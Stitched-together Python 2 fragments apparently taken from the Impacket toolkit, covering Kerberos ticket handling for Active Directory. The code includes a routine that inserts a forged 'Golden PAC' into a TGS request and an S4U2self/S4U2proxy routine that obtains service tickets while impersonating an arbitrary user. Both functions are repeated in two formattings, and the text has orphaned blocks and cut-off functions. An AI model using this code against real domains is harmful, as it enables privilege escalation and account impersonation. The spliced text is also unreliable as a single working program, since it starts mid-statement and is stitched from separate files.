(int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(cipher.enctype)))
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises a LDAPSessionError if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
from pyasn1.codec.der import decoder, encoder
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal('ldap/%s' % self._dstHost,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# Done with the Kerberos saga, now let's get into LDAP
bindRequest = BindRequest()
bindRequest['version'] = Integer7Bit(3)
bindRequest['name'] = LDAPDN(user)
credentials = SaslCredentials()
credentials['mechanism'] = LDAPString('GSS-SPNEGO')
credentials['credentials'] = Credentials(blob.getData())
bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials)
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
if resp['bindResponse']['resultCode'] != 0:
raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % (
resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage']))
return True
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = None
ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype,))
reqBody['enc-authorization-data'] = None
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print authenticator.prettyPrint()
print ('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print paForUserEnc.prettyPrint()
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.canonicalize.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print tgsReq.prettyPrint()
logging.info('\tRequesting S4U2self')
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print tgs.prettyPrint()
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print authenticator.prettyPrint()
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(
self.__options.impersonate,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack(
'<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(
constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print paForUserEnc.prettyPrint()
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(
self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', (int(
cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print tgsReq.prettyPrint()
logging.info('\tRequesting S4U2self')
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print tgs.prettyPrint()
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(
self.__options.spn,
type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket, ))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)))
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'],
str(encTGSRepPart['key']['keyvalue']))
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey
def kerberosLogin(self,
user,
password,
domain='',
lmhash='',
nthash='',
aesKey='',
kdcHost=None,
TGT=None,
TGS=None,
useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises a LDAPSessionError if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
from pyasn1.codec.der import decoder, encoder
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (self._dstHost.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
# First of all, we need to get a TGT for the user
userName = Principal(
user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey,
kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal(
'ldap/%s' % self._dstHost,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
